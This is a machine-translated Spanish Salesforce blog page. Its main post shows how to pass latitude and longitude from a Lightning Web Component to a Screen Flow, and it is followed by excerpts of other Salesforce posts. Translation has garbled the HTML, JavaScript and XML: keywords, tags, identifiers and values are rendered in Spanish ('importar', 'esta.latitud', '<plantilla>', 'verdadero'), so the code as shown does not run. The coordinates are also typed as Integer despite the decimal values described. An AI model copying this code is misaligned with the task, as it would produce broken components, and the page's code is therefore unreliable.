Cosas para recordar
  1. El límite para el campo del mensaje de error es de 255 caracteres.
  2. Solo puede agregar un mensaje de error para una página.
  3. Solo puede agregar un mensaje de error por campo.
  4. no es posible utilizar el enlace con su mensaje de error.
    1. parámetro de escape Indica si cualquier marcado HTML en el mensaje de error personalizado se debe escapar ( verdadero ) o no ( falso ). Este parámetro se ignora tanto en Lightning Experience como en la aplicación móvil Salesforce, y el HTML siempre se escapa. El parámetro de escape solo se aplica en Salesforce Classic. Lea este artículo para obtener más información.

Prueba de concepto

A partir de ahora, si un usuario intenta crear una nueva oportunidad en una cuenta que ya tiene una oportunidad abierta, se activará el flujo activado por registro antes de guardar que hemos creado y mostrará un mensaje de error.

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Categorías
Developers

Pasar datos del componente web Lightning al flujo de pantalla

Última actualización el 17 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo pasa datos del componente web lightning al flujo de pantalla principal?

Objetivos:

Después de leer este blog, podrá:

  • Incruste un componente web relámpago dentro del flujo de pantalla
  • Pase los datos del componente web lightning a una variable de flujo
  • Interactuar con el componente web lightning y los elementos de flujo de pantalla en la misma pantalla
  • y mucho más

En el pasado, escribí algunos artículos sobre Lightning Web Component . ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Uso del componente web Lightning para mostrar un banner de alerta
  2. Obtenga el Id. de registro y el nombre de la API del objeto en el componente web Lightning

Janel Parrish trabaja como desarrollador junior en Gurukul on Cloud (GoC). Janel tiene un requisito comercial para hacer lo siguiente:

  1. Desarrollar un componente LWC capaz de recibir entradas de latitud y longitud.
  2. Pase los valores introducidos a los componentes de flujo de pantalla correspondientes.

Construir pantallas con componentes reactivos

Con la función Crear pantallas con componentes interactivos (actualmente en versión beta), ahora puede habilitar la interacción directa entre un componente web Lightning y otros elementos de flujo en la misma pantalla.

Anteriormente, no existía una disposición directa para la interacción dinámica entre un componente web Lightning y los elementos de flujo. Como resultado, los usuarios tenían que navegar a la siguiente pantalla para ver los datos pasados por el componente web Lightning en Screen Flow.

Enfoque de Campeón de Automatización (I-do):

Al crear el componente web Lightning, también utilizaremos el evento FlowAttributeChangeEvent . Esto permitirá que un componente controle la navegación del flujo y notifique al flujo los cambios en los valores de los atributos.

Los eventos FlowAttributeChangeEvent solo se admiten en componentes donde el destino es lightning__FlowScreen .

Práctica guiada (nosotros hacemos):

Hay 2 pasos para resolver el requisito empresarial de Janel utilizando Lightning Web Component y Screen Flow . Debemos:

  1. Cree un componente web Lightning de ubicación de entrada para Screen Flow
  2. Pasos de flujo de Salesforce
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una pantalla para mostrar el componente personalizado de ubicación de entrada
    3. Agregar un componente de número de entrada para mostrar la latitud desde la ubicación de entrada Componente LWC
    4. Agregar un componente de número de entrada para mostrar la longitud desde la ubicación de entrada Componente LWC

Paso 1: Cree un componente web Lightning de ubicación de entrada para Screen Flow

En primer lugar, cree un componente web Lightning de ubicación de entrada con el siguiente código. El componente lightning-input-location representa un campo de geolocalización compuesto que acepta valores de latitud y longitud introducidos por el usuario, siendo ambos coordenadas geográficas expresadas en grados decimales. Le permite identificar ubicaciones utilizando estas coordenadas.

El rango aceptable para la latitud está entre -90 y 90, mientras que la longitud acepta valores de -180 a 180. Cualquier entrada más allá de estos rangos especificados genera un mensaje de error. Este ejemplo muestra un campo de geolocalización compuesto, que muestra una latitud de 27,70750 y una longitud de -122,3948370.

Si no sabe cómo crear un componente Lightning, consulte esta guía para desarrolladores, Crear un componente web Lightning .

lwcToScreenFlow.html

Utilizaremos el componente de ubicación de entrada de rayos para aceptar valores de latitud y longitud. Desglosemos el código:

  • En LWC, el archivo HTML de cada componente debe envolverse con una etiqueta <plantilla> .
  • latitude={latitude} :- Esto vincula la propiedad de latitud de la clase JavaScript de LWC con el atributo de latitud del componente.
  • longitude={longitude} :- Similar a la latitud, esto une la propiedad de longitud de la clase JavaScript de LWC con el atributo de longitud del componente.
  • onchange={handleChange} :- Esto configura un detector de eventos en el componente. Cada vez que cambia el valor del componente (ya sea latitud o longitud), se llama al método handleChange de la clase JavaScript de LWC.

<plantilla> <relámpago-entrada-ubicación etiqueta="Coordenadas predeterminadas" latitud={latitud} longitud={longitud} onchange={handleChange}> </ubicación-de-entrada-del-relámpago>
</plantilla>
lwcToScreenFlow.js

Este código JavaScript de muestra utiliza el decorador @api para crear propiedades públicas, es decir, accesibles desde otros componentes o utilizadas en plantillas HTML. Por ejemplo, @api latitude y @api longitude declaran dos propiedades públicas.

  • FlowAttributeChangeEvent crea y distribuye el evento personalizado que transfiere datos del componente web Lightning a un flujo.
  • handleChange(event) es un método de controlador de eventos que se llama cuando ocurre un evento de cambio en el componente lightning-input-location en la plantilla HTML de LWC.
  • this.latitude = event.target.latitude y this.longitude = event.target.longitude , estas líneas actualizan las propiedades de latitud y longitud con los valores del objetivo del evento (el componente lightning-input-location).
  • [“latitud”, “longitud”].forEach((loc) => this.dispatchEvent(new FlowAttributeChangeEvent(loc, this[loc]))) , esta línea recorre una matriz que contiene cadenas de latitud y longitud, y para cada uno de estos, envía un nuevo FlowAttributeChangeEvent.

importar { LightningElement, api } desde 'lwc';
importar {FlowAttributeChangeEvent} desde 'lightning/flowSupport'; exportar la clase predeterminada LwcToScreenFlow extiende LightningElement { @api latitud; @api longitud; handleChange(evento){ esta.latitud = evento.objetivo.latitud; this.longitude = event.target.longitude; ["latitud", "longitud"].forEach((loc) => this.dispatchEvent(new FlowAttributeChangeEvent(ubicación, esta[ubicación])) ); }
}
lwcToScreenFlow.js-meta.xml

El elemento isExposed se establece en verdadero, lo que hace que el componente esté disponible para su uso en herramientas como Lightning App Builder o Flow Builder. El elemento de objetivos se usa para especificar dónde se puede usar su componente. En este caso, la etiqueta lightning__FlowScreen significa que este componente está diseñado para usarse en las pantallas de Salesforce Flow.

Los elementos targetConfigs y targetConfig le permiten definir propiedades que se pueden establecer en el contexto del constructor. En este caso, las propiedades son latitud y longitud . Ambos están configurados para ser del tipo Integer y tienen la función de outputOnly , lo que significa que se pueden configurar en el flujo, pero el usuario no puede modificarlos dentro del componente. Estas propiedades se pueden usar para pasar datos del LWC al flujo.


<?versión xml="1.0" codificación="UTF-8"?>
<LightningComponentBundle xmlns="http://soap.sforce.com/2006/04/metadatos"> <apiVersion>58.0</apiVersion> <isExposed>verdadero</isExposed> <objetivos> <target>relámpago__FlowScreen</target> </objetivos> <configuraciones de destino> <targetConfig objetivos="relámpago__FlowScreen"> <property label="Latitude" name="latitude" type="Integer" role="outputOnly"/> <property label="Longitud" name="longitud" type="Integer" role="outputOnly"/> </targetConfig> </configuraciones de destino>
</LightningComponentBundle>

Paso 2.1: Definir propiedades de flujo

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrirá el diseñador de flujo para usted.

Paso 2.2: agregue una pantalla para mostrar el componente personalizado de ubicación de entrada

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
  3. Haga clic en Listo.

Paso 2.3: Agregue un componente de número de entrada para mostrar la latitud desde el componente LWC de ubicación de entrada

  1. En la sección Entrada en Elemento de pantalla , arrastre y suelte el componente Número en la pantalla.
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
    2. Valor predeterminado : {!lwcToFlow.latitude}
  3. Haga clic en Listo.

Paso 2.4: Agregar un componente de número de entrada para mostrar la longitud desde la ubicación de entrada Componente LWC

  1. En la sección Entrada en Elemento de pantalla , arrastre y suelte el componente Número en la pantalla.
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
    2. Valor predeterminado : {!lwcToFlow.longitude}
  3. Haga clic en Listo.

Al final, Janel's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completará automáticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versión de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : Pase de Screen Flow a LWC {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Prueba de concepto

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Categorías
Developers Salesforce

Lanzamiento de Marketing Cloud Spring '23 para desarrolladores ☁️

Consulte los aspectos más destacados y conozca las nuevas funciones de la versión Spring '23 para desarrolladores de Marketing Cloud.

La versión posterior de Marketing Cloud Spring '23 para desarrolladores apareció primero en el blog de desarrolladores de Salesforce .

Categorías
Developers

¡Lanzamiento Spring'23 de las diez gemas principales de Salesforce Lightning Experience!

Última actualización el 9 de enero de 2023 por Rakesh Gupta Con cada lanzamiento, Salesforce agrega muchas funcionalidades nuevas a Lightning Experience, lo que lo hace más productivo y lo ayuda a brindar una mejor experiencia al cliente. Actualmente, el lanzamiento de Spring'23 se encuentra bajo el programa de prelanzamiento. Si no has leído el 570 completo

La publicación ¡Lanzamiento Spring'23 de las diez mejores gemas de Salesforce Lightning Experience! apareció primero en Automation Champion .

Categorías
Developers Salesforce

Escriba aserciones de Apex claras e intencionales con la nueva clase Assert ☁️

Una de las grandes mejoras nuevas de la versión Winter '23 es una clase Assert dedicada. A medida que continuamos ampliando nuestra inversión con Apex y la capacidad de prueba, esta actualización hará que sea más fácil encontrar todos los métodos de afirmación que necesita en un solo lugar. Echemos un vistazo a cómo esto se compara con el […]

La publicación Escribir afirmaciones claras e intencionales de Apex con la nueva clase de afirmación apareció por primera vez en el blog de desarrolladores de Salesforce .

Categorías
Developers

CRM Analytics: cree un conjunto de datos mediante un archivo CSV

Última actualización el 6 de noviembre de 2022 por Rakesh Gupta Gran idea o pregunta duradera: ¿Cómo crear un conjunto de datos usando un archivo CSV? Objetivos: Después de leer este blog, podrá: Crear un conjunto de datos usando un archivo CSV Actualizar el conjunto de datos para agregar una nueva columna Restaurar un conjunto de datos

La publicación Análisis de CRM: crear un conjunto de datos mediante un archivo CSV apareció por primera vez en Automation Champion .

Categorías
Developers Salesforce

Uso de la nueva API BarcodeScanner en Mobile Lightning Web Components ☁️

Nuestra nueva API BarcodeScanner permite a los desarrolladores crear más rápidamente componentes web Lightning (LWC) para aplicaciones móviles de Salesforce que pueden escanear una variedad de códigos QR y de barras. Los clientes que necesitan moverse mientras escanean para rastrear el inventario o los paquetes, por ejemplo, pueden encontrar este servicio extremadamente práctico y útil. En el verano […]

La publicación Uso de la nueva API BarcodeScanner en Mobile Lightning Web Components apareció primero en el blog de desarrolladores de Salesforce .

Categorías
Developers

Agregar cuadro de diálogo de confirmación, alerta y aviso al componente web Lightning

Gran idea o pregunta duradera: ¿Cómo mostrar una alerta, una confirmación o un aviso con el componente web lightning al realizar acciones específicas? Objetivos: después de leer este blog, podrá: Comprender la diferencia entre el cuadro de diálogo de alerta, confirmación o modelo de solicitud Agregar un modal de alerta dentro de su componente Lightning Web Agregar

La publicación Add Confirmation, Alert and Prompt Dialog Box to Lightning Web Component apareció primero en Automation Champion .

Categorías
Developers Salesforce

Aprenda MOAR en Summer '22 con servicios externos y actualizaciones de API ☁️

Siga y complete un trailmix de Learn MOAR Summer '22 para administradores o desarrolladores antes del 31 de julio de 2022 a las 11:59 p. Se aplican restricciones. Aprende cómo participar y revisa las Reglas Oficiales visitando el […]

La publicación Aprenda MOAR en Summer '22 con servicios externos y actualizaciones de API apareció primero en el blog de desarrolladores de Salesforce .

Categorías
Developers Salesforce

Compartir eventos automáticamente desde un calendario compartido

Última actualización el 26 de abril de 2022 por Rakesh GuptaGran idea o pregunta duradera: ¿Cómo se comparten automáticamente los eventos de un calendario compartido cuando WhatId y WhoId son nulos? Los calendarios pueden hacer mucho más que asegurarse de que llegue a tiempo a las reuniones. Pueden ser una ubicación central para

La publicación Auto Share Events from a Shared Calendar apareció por primera vez en Automation Champion .

Categorías
Developers

Contar valores seleccionados en una lista de selección múltiple

Última actualización el 26 de abril de 2022 por Rakesh GuptaGran idea o pregunta duradera: ¿Cómo contar la cantidad de selecciones en una lista de selección múltiple? Objetivos: después de leer este blog, podrá: Contar la cantidad de selecciones en una lista de selección múltiple comprender cómo funciona la fórmula PICKLISTCOUNT y mucho más

La publicación Recuento de valores seleccionados en una lista de selección múltiple apareció primero en Automation Champion .

Categorías
Salesforce

Flujos de Salesforce: su guía definitiva

No hay duda de que ha oído hablar de Salesforce Flows: pronto serán la ventanilla única en lo que respecta a la automatización declarativa (usando clics, no código) en la plataforma de Salesforce. Salesforce Flows puede ser una herramienta poderosa para cualquier organización de Salesforce. Le permiten automatizar procesos comerciales fácilmente sin tener que escribir […]

La publicación Salesforce Flows: Your Ultimate Guide apareció por primera vez en Inspire Planner.

Categorías
Developers

Primeros pasos con Salesforce Flow: parte 83 (Aprenda a designar un destinatario para recibir correos electrónicos de error)

Última actualización el 20 de enero de 2022 por Rakesh Gupta Salesforce Flow es una de las herramientas más poderosas proporcionadas por Salesforce para implementar requisitos comerciales de forma declarativa. Salesforce Flow ayuda a las empresas a ahorrar tiempo y dinero al implementar soluciones rápidamente. En teoría, la implementación de Salesforce Flow es sencilla: crea un

La publicación Primeros pasos con Salesforce Flow: parte 83 (Aprenda cómo designar un destinatario para recibir correos electrónicos de error) apareció primero en Automation Champion .

Categorías
Developers

¡Las 5 principales joyas de componentes Lightning del lanzamiento de Salesforce Winter'22!

El marco moderno del componente Lightning es un marco de interfaz de usuario para desarrollar aplicaciones web dinámicas para dispositivos móviles y de escritorio. Como es el caso con cada versión, la última versión de Winter'22 está repleta de funciones ricas que incluyen las funciones del componente Lightning recién agregadas. Actualmente, la versión Winter'22 está disponible en

¡El lanzamiento de las 5 principales joyas de componentes Lightning de Salesforce Winter'22! apareció primero en Automation Champion .

Categorías
Developers

Introducción a Pardot – Parte 14 (Cómo utilizar los manejadores de formularios de Pardot)

Última actualización el 24 de enero de 2021 por Rakesh Gupta Pardot es un niño nuevo en la cuadra. Por lo tanto, en la mayoría de los casos, Pardot se implementa después de la configuración inicial del negocio. No es sorprendente que hubiera vida antes de Pardot. Entonces, las organizaciones tienen existentes… Continuar leyendo

La publicación Getting Started with Pardot – Part 14 (How to Use Pardot Form Handlers) apareció primero en Automation Champion .

Categorías
Developers

Introducción a Salesforce Flow – Parte 57 (Adición de validación a los componentes de la pantalla de flujo)

Última actualización el 9 de febrero de 2021 por Rakesh Gupta Gran idea o pregunta duradera: ¿Cómo se valida la entrada del usuario para los componentes de flujo de pantalla? La validación de entrada en Salesforce Flow permite que un administrador del sistema defina lógica personalizada y mensajes de error para garantizar … Continuar leyendo

La publicación Getting Started with Salesforce Flow – Part 57 (Agregar validación a los componentes de la pantalla de flujo) apareció primero en Automation Champion .